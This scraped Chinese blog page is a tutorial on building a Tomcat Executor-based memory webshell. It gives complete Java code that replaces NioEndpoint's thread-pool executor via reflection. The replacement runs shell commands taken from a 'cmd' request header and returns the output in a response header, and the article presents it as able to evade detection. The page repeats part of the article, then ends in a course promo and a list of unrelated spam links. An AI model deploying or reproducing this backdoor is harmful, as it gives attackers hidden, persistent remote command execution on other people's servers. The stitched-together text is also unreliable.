当前位置: 首页 > news >正文

成都网站建设 好多科技站长工具端口扫描

成都网站建设 好多科技,站长工具端口扫描,专业团队介绍文案,一流的山西网站建设写在前面 前面已经从代码层面讲解了Tomcat的架构#xff0c;这是内存马系列文章的第五篇#xff0c;带来的是Tomcat Executor类型的内存马实现。有了前面第四篇中的了解#xff0c;才能更好的看懂内存马的构造。 前置 什么是Executor Executor是一种可以在Tomcat组件之间…写在前面 前面已经从代码层面讲解了Tomcat的架构这是内存马系列文章的第五篇带来的是Tomcat Executor类型的内存马实现。有了前面第四篇中的了解才能更好的看懂内存马的构造。 前置 什么是Executor Executor是一种可以在Tomcat组件之间进行共享的连接池。 我们可以从代码中观察到对应的描述 The Executor implementations provided in this package implement ExecutorService, which is a more extensive interface. The ThreadPoolExecutor class provides an extensible thread pool implementation. The Executors class provides convenient factory methods for these Executors. Memory consistency effects: Actions in a thread prior to submitting a Runnable object to an Executor happen-before its execution begins, perhaps in another thread. Executes the given command at some time in the future. The command may execute in a new thread, in a pooled thread, or in the calling thread, at the discretion of the Executor implementation. Params: command – the runnable task Throws: RejectedExecutionException – if this task cannot be accepted for execution NullPointerException – if command is null 对于他的作用允许为一个Service的所有Connector配置一个共享线程池。 在运行多个Connector的状况下这样处理非常有用而且每个Connector必须设置一个maxThread值但不希望Tomcat实例并发使用的线程最大数永远与所有连接器maxThread数量的总和一样高。 这是因为如果这样处理则需要占用太多的硬件资源。相反您可以使用Executor元素配置一个共享线程池而且所有的Connector都能共享这个线程池。 分析流程 通过上篇文章的分析我们知道 在启动Tomcat的时候首先会。 调用启动类并传入参数start预示着Tomcat启动 这里调用start方法进行相关配置的初始化操作 一直走到了org.apache.catalina.startup.Catalina类中load方法中调用了。this.getServer().init()方法进行Server的初始化操作 即调用了LifecycleBase#init方法进而调用了initInternal方法即来到了他的实现类StandardServer#initInternal中来了。 上篇中也提到过将会循环的调用所有service的init方法进而调用了StandardService#initInternal方法进行初始化调用了Engine#init方法因为没有配置Executor所以在初始化的时候不会调用他的init方法之后再调用mapperListener.init()进行Listener的初始化操作在获取了所有的connector之后将会循环调用其init方法进行初始化。 在初始化结束之后将会调用start方法 即调用了Bootstrap#start方法进而调用了Server.start方法 来到了StandardService#startInternal方法紧跟着调用了上面调用了Init方法的start方法成功启动Tomcat。 正文 接下来我们来分析一下为什么选用Executor来构造内存马和如构造内存的流程。 分析注入方式 在成功开启了Tomcat之后我们可以在Executor中的execute方法中打下断点 之后运行访问8080端口 在前面那一篇文章中我们知道Acceptor是生产者而Poller是消费者 在执行Endpoint.start()会开启Acceptor线程来处理请求。 在其run方法中存在 运行过程中如果Endpoint暂停了则Acceptor进行自旋间隔50毫秒 如果Endpoint终止运行了则Acceptor也会终止 如果请求达到了最大连接数则wait直到连接数降下来 接受下一次连接的socket。 这一步己经在运行Tomcat容器的时候已经进行了 在我们访问Tomcat的页面之后将会创建一个线程并调用target属性的run方法这里的target就是Poller对象(消费者)。 即调用了NioEndpoint$Poller#run方法跟进 public void run() {while(true) {boolean hasEvents false;label58: {try {if (!this.close) {hasEvents this.events();if (this.wakeupCounter.getAndSet(-1L) 0L) {this.keyCount this.selector.selectNow();} else {this.keyCount this.selector.select(NioEndpoint.this.selectorTimeout);}this.wakeupCounter.set(0L);}if (!this.close) {break label58;}this.events();this.timeout(0, false);try {this.selector.close();} catch (IOException var5) {NioEndpoint.log.error(AbstractEndpoint.sm.getString(endpoint.nio.selectorCloseFail), var5);}} catch (Throwable var6) {ExceptionUtils.handleThrowable(var6);NioEndpoint.log.error(, var6);continue;}NioEndpoint.this.getStopLatch().countDown();return;}if (this.keyCount 0) {hasEvents | this.events();}Iterator iterator this.keyCount 0 ? this.selector.selectedKeys().iterator() : null;while(iterator ! null iterator.hasNext()) {SelectionKey sk (SelectionKey)iterator.next();iterator.remove();NioEndpoint.NioSocketWrapper socketWrapper (NioEndpoint.NioSocketWrapper)sk.attachment();if (socketWrapper ! null) {this.processKey(sk, socketWrapper);}}this.timeout(this.keyCount, hasEvents);} }首先调用了events方法查看队列中是否有Pollerevent事件如果有就将其取出然后把里面的Channel取出来注册到该Selector中然后通过迭代器查看所有注册过的Channel查看是否有事件发生。 当有事件发生时则调用SocketProcessor交给Executor执行。 调用了processKey(sk, socketWrapper)进行处理 该方法又会根据key的类型来分别处理读和写 处理读事件比如生成Request对象 处理写事件比如将生成的Response对象通过socket写回客户端 这里处理的是读事件所以调用了processSocket方法 首先从processorCache中弹出一个Processor来处理socket 之后调用getExecutor方法获取一个Executor对象。 这里的executor是endpoint自己启动的ThreadPoolExecutor类 在之后将会调用其execute方法。 既然它能够调用Executor类的execute方法那么我们可以创建一个恶意的Executor类继承ThreadPoolExecutor并重写其中的execute方法那么在调用该方法的时候将会执行我们的恶意代码。 但是怎么才能将其中的executor属性值替换成我们的恶意Executor类呢 我们可以注意到在AbstractEndpoint类中我们在调用processSocket方法时候提取出来了executor属性值那么是否有对应的setter方法呢 是的存在一个setExecutor方法能够替换掉原来的executor属性值之后在消费者消费的同时将会执行我们的恶意代码。 那么如果编写我们的恶意代码呢 起码需要实现命令执行和回显的功能吧。 我们总需要获取到reqeust对象出去对应的参数值进行命令执行~ 我们可以通过项目https://github.com/c0ny1/java-object-searcher来查找利用链 我们可以发现在当前线程中的可以找到该请求 ((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb可以将这段带入Evaluate进行计算 在这里我们能够获取到我们传入的参数值之后就可以将其提取出来进行执行命令。 后面就需要一个回显回显命令执行之后的结果如何回显 我们可以观察到在AbstractProcessor类的构造方法中将会初始化一个Request和Response对象 既然我们需要做出回显那么我们需要寻找response在哪里同样可以通过前面那个项目快速搜索到。 ((Request)((RequestInfo)((java.util.ArrayList)((RequestGroupInfo)((ConnectionHandler)((NioEndpoint)((Acceptor)((ThreadGroup)((TaskThread)this).group).threads[6].target).this$0).handler).global).processors).get(0)).req).response在知道了reponse的位置之后我们就能过获取到对应的数据了。 此时的调用栈 prepareResponse:1081, Http11Processor (org.apache.coyote.http11) action:384, AbstractProcessor (org.apache.coyote) action:208, Response (org.apache.coyote) sendHeaders:421, Response (org.apache.coyote) doFlush:310, OutputBuffer (org.apache.catalina.connector) close:270, OutputBuffer (org.apache.catalina.connector) finishResponse:446, Response (org.apache.catalina.connector) service:395, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)在prepareResponse方法中将会对response进行再次封装我们只需要提前将我们命令执行后的结果放在reponse中我们就可以得到回显了。 怎么写入reponse结构中呢这里不想前面的三种内存马能够直接创建回显这里稍微复杂一点我们可以来到org.apache.catalina.connector.Response这个类中。 继承了HttpServletReponse接口 封装了很多方法可以通过这些方法将回显的数据传回。 所以我们可以得到构造Executor内存马的流程 首先获取对应的NioEndpoint(对比上面分析的request和response位置我们可以知道有一个共同点) 获取对应的executor属性 创建一个恶意的executor 将恶意的executor传入。 手把手构造 我们可以通过在当前线程获取NioEndpoint类为什么可以从当前线程找到呢 我们可以查看上面寻找request的内存对象路径 ((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb其中有一段就是NioEndpoint类 ((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0)所以我们可以编写获取方法 public Object getNioEndpoint() {// 获取当前线程的所有线程Thread[] threads (Thread[]) getField(Thread.currentThread().getThreadGroup(), threads);for (Thread thread : threads) {try {// 需要获取线程的特征包含Acceptorif (thread.getName().contains(Acceptor)) {Object target getField(thread, target);Object nioEndpoint getField(target, this$0);return nioEndpoint;}} catch (Exception e) {continue;}}// 没有获取到对应Endpoint返回一个空对象return new Object(); }之后获取NioEndpoint类的executor属性 本身在NioEndpoint类中并没有executor属性但是我们可以观察该类的继承关系。 在他的父类AbstractEndpoint类中是存在这个属性的 ThreadPoolExecutor executor (ThreadPoolExecutor) getField(nioEndpoint, executor);之后我们需要创建一个恶意的executor需要实现命令执行和回显操作。 这一步可以分为好几步首先需要获取到request对象中需要执行的命令 对于request对象的获取可以结合上面贴的Evaluate进行构造 public String getRequest() {try {// 通过调用getNioEndpoint方法获取到NioEndpoint对象Object nioEndpoint getNioEndpoint();// 获取到stack数组Object[] objects (Object[]) getField(getField(nioEndpoint, nioChannels), stack);// 获取到BufferByteBuffer heapByteBuffer (ByteBuffer) getField(getField(objects[0], appReadBufHandler), byteBuffer);String req new String(heapByteBuffer.array(), UTF-8);// 分割出commandString cmd req.substring(req.indexOf(cmd) cmd.length() 1, req.indexOf(\r, req.indexOf(cmd)) - 1);return cmd;} catch (Exception e) {System.out.println(e);return null;} }大概提一下为什么这里是1不是1不是我们在请求头冒号后面不是有一个空格吗不是应该2嘛不是的通过调用我发现在获取的req中并没有空格存在所以这里是1。 而后面为什么要-1就是因为在获取req中最后一个字符又存在两次 之后同样需要能够将执行结果写入reponse 同样因为response是封装在req对象中的由此思路可以在当前线程中获取到response对象。 之后通过addHeader方法将结果写入返回头中 // 获取命令执行返回的回显结果 public void getResponse(byte[] res) {try {// 获取NioEndpoint对象Object nioEndpoint getNioEndpoint();// 获取线程中的response对象ArrayList processors (ArrayList) getField(getField(getField(nioEndpoint, handler), global), processors);// 遍历获取responsefor (Object processor : processors) {RequestInfo requestInfo (RequestInfo) processor;// 获取到封装在req的responseResponse response (Response) getField(getField(requestInfo, req), response);// 将执行的结果写入response中response.addHeader(Execute-result, new String(res, UTF-8));}} catch (Exception e) {} }最后一步就是重写Exector的execute方法了。 执行命令将结果输入流写入response中去 public void execute(Runnable command) {// 获取commandString cmd getRequest();try {String[] cmds System.getProperty(os.name).toLowerCase().contains(windows) ? new String[]{cmd.exe, /c, cmd} : new String[]{/bin/sh, -c, cmd};byte[] result new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter(\\A).next().getBytes();getResponse(result);} catch (Exception e) {}this.execute(command, 0L, TimeUnit.MILLISECONDS); }最后就需要将我们构造的恶意executor传入 nioEndpoint.setExecutor(exe);完整的内存马 package pres.test.momenshell;import org.apache.coyote.Response; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.NioEndpoint; import org.apache.tomcat.util.threads.ThreadPoolExecutor;import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.concurrent.BlockingQueue; import java.util.concurrent.ThreadFactory; import java.util.concurrent.TimeUnit;public class AddTomcatExecutor extends HttpServlet {Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doPost(req, resp);}public Object getField(Object obj, String field) {// 递归获取类的及其父类的属性Class clazz obj.getClass();while (clazz ! Object.class) {try {Field declaredField clazz.getDeclaredField(field);declaredField.setAccessible(true);return declaredField.get(obj);} catch (Exception e) {clazz clazz.getSuperclass();}}return null;}public Object getNioEndpoint() {// 获取当前线程的所有线程Thread[] threads (Thread[]) getField(Thread.currentThread().getThreadGroup(), threads);for (Thread thread : threads) {try {// 需要获取线程的特征包含Acceptorif (thread.getName().contains(Acceptor)) {Object target getField(thread, target);Object nioEndpoint getField(target, this$0);return nioEndpoint;}} catch (Exception e) {e.printStackTrace();continue;}}// 没有获取到对应Endpoint返回一个空对象return new Object();}class executorEvil extends ThreadPoolExecutor {public executorEvil(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueueRunnable workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);}public String getRequest() {try {// 通过调用getNioEndpoint方法获取到NioEndpoint对象Object nioEndpoint getNioEndpoint();// 获取到stack数组Object[] objects (Object[]) getField(getField(nioEndpoint, nioChannels), stack);// 获取到BufferByteBuffer heapByteBuffer (ByteBuffer) getField(getField(objects[0], appReadBufHandler), byteBuffer);String req new String(heapByteBuffer.array(), UTF-8);// 分割出commandString cmd req.substring(req.indexOf(cmd) cmd.length() 1, req.indexOf(\r, req.indexOf(cmd)) - 1);return cmd;} catch (Exception e) {e.printStackTrace();return null;}}// 获取命令执行返回的回显结果public void getResponse(byte[] res) {try {// 获取NioEndpoint对象Object nioEndpoint getNioEndpoint();// 获取线程中的response对象ArrayList processors (ArrayList) getField(getField(getField(nioEndpoint, handler), global), processors);// 遍历获取responsefor (Object processor : processors) {RequestInfo requestInfo (RequestInfo) processor;// 获取到封装在req的responseResponse response (Response) getField(getField(requestInfo, req), response);// 将执行的结果写入response中response.addHeader(Execute-result, new String(res, UTF-8));}} catch (Exception e) {e.printStackTrace();}}Overridepublic void execute(Runnable command) {// 获取commandString cmd getRequest();try {String[] cmds System.getProperty(os.name).toLowerCase().contains(windows) ? new String[]{cmd.exe, /c, cmd} : new String[]{/bin/sh, -c, cmd};byte[] result new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter(\\A).next().getBytes();getResponse(result);} catch (Exception e) {e.printStackTrace();}this.execute(command, 0L, TimeUnit.MILLISECONDS);}}Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从线程中获取NioEndpoint类NioEndpoint nioEndpoint (NioEndpoint) getNioEndpoint();// 获取executor属性ThreadPoolExecutor executor (ThreadPoolExecutor) getField(nioEndpoint, executor);// 实例化我们的恶意executor类executorEvil evil new executorEvil(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());// 将恶意类传入nioEndpoint.setExecutor(evil);} }简单示例 我们可以创建一个继承了HttpServlet的类就是上面的完整内存马。 我们通过方法这个Servlet的方法写入内存马 在web.xml中添加路由映射 servletservlet-nameAddTomcatExecutor/servlet-nameservlet-classpres.test.momenshell.AddTomcatExecutor/servlet-class /servlet servlet-mappingservlet-nameAddTomcatExecutor/servlet-nameurl-pattern/addTomcatExecutor/url-pattern /servlet-mapping在开启Tomcat之后访问该路由 将会成功写入内存马 之后通过burp发送数据包加上一个cmd的请求头后面包含执行的命令。 成功执行命令并回显。 总结 这个是一个比较新颖的内存马思路使用了Connector中的组件构造出了独特的内存马。 同样可以一定程度上绕过检测与查杀当然后面会有几篇和查杀有关的篇章将会进行比较各个内存马的差异。 构造内存马思路 首先获取对应的NioEndpoint(对比上面分析的request和response位置我们可以知道有一个共同点) 获取对应的executor属性 创建一个恶意的executor 将恶意的executor传入。 Reference https://xz.aliyun.com/t/11593 servlet-mappingservlet-nameAddTomcatExecutor/servlet-nameurl-pattern/addTomcatExecutor/url-pattern /servlet-mapping在开启Tomcat之后访问该路由 将会成功写入内存马 之后通过burp发送数据包加上一个cmd的请求头后面包含执行的命令。 [外链图片转存中…(img-8WKenPeC-1677499445548)] 成功执行命令并回显。 总结 这个是一个比较新颖的内存马思路使用了Connector中的组件构造出了独特的内存马。 同样可以一定程度上绕过检测与查杀当然后面会有几篇和查杀有关的篇章将会进行比较各个内存马的差异。 构造内存马思路 首先获取对应的NioEndpoint(对比上面分析的request和response位置我们可以知道有一个共同点) 获取对应的executor属性 创建一个恶意的executor 将恶意的executor传入。 网络安全工程师企业级学习路线 这时候你当然需要一份系统性的学习路线 如图片过大被平台压缩导致看不清的话可以在文末下载无偿的大家也可以一起学习交流一下。 一些我收集的网络安全自学入门书籍 一些我白嫖到的不错的视频教程 上述资料【扫下方二维码】就可以领取了无偿分享
http://www.w-s-a.com/news/718307/

相关文章:

  • 公司网站设计与实现中国职业培训在线官方网站
  • 网站服务器空间租用郑州官网网站推广优化
  • 郑州网站建设外包业务wordpress站酷首页
  • 机关门户网站 建设 方案个人怎么申请注册商标
  • 梧州网站建设有哪些九江网站建设优化
  • APP网站建设开发企业发展英文seo招聘
  • 临海市住房和城乡建设规划局网站高校图书馆网站的建设方案
  • 建立门户网站张店易宝网站建设
  • wordpress中英文站点厦门seo顾问屈兴东
  • 邯郸网站建设项目重庆网站备案系统
  • 网站导航容易做黄冈网站建设报价
  • 美橙互联建站网站被截止徐州网站建站
  • 网站班级文化建设视频深圳企业网页设计公司
  • 钦州网站建设公司做宣传网站买什么云服务器
  • 58同城有做网站wordpress怎么改标题和meta
  • 安通建设有限公司网站东莞地铁app
  • 群晖nas做网站滨州教育平台 网站建设
  • 住房城市乡建设部网站装修平台有哪些
  • 小米网站 用什么做的深圳广告公司前十强
  • 勤哲网站开发视频瑞安 网站建设培训
  • 有个蓝色章鱼做标志的网站高端的网站建设怎么做
  • 建站网址导航hao123html网页设计实验总结
  • 西宁市网站建设价格丽水集团网站建设
  • 长宁怎么做网站优化好本机怎么放自己做的网站
  • 诚信网站备案中心网站字体怎么设置
  • 企业网站建设费是无形资产吗佛山网站建设哪个好点
  • 网站建设就业方向国开行网站毕业申请怎么做
  • 创建一个网站的费用wordpress 4.0 安装
  • 会员登录系统网站建设dw软件是做什么用的
  • 手机网站被做跳转长沙网上购物超市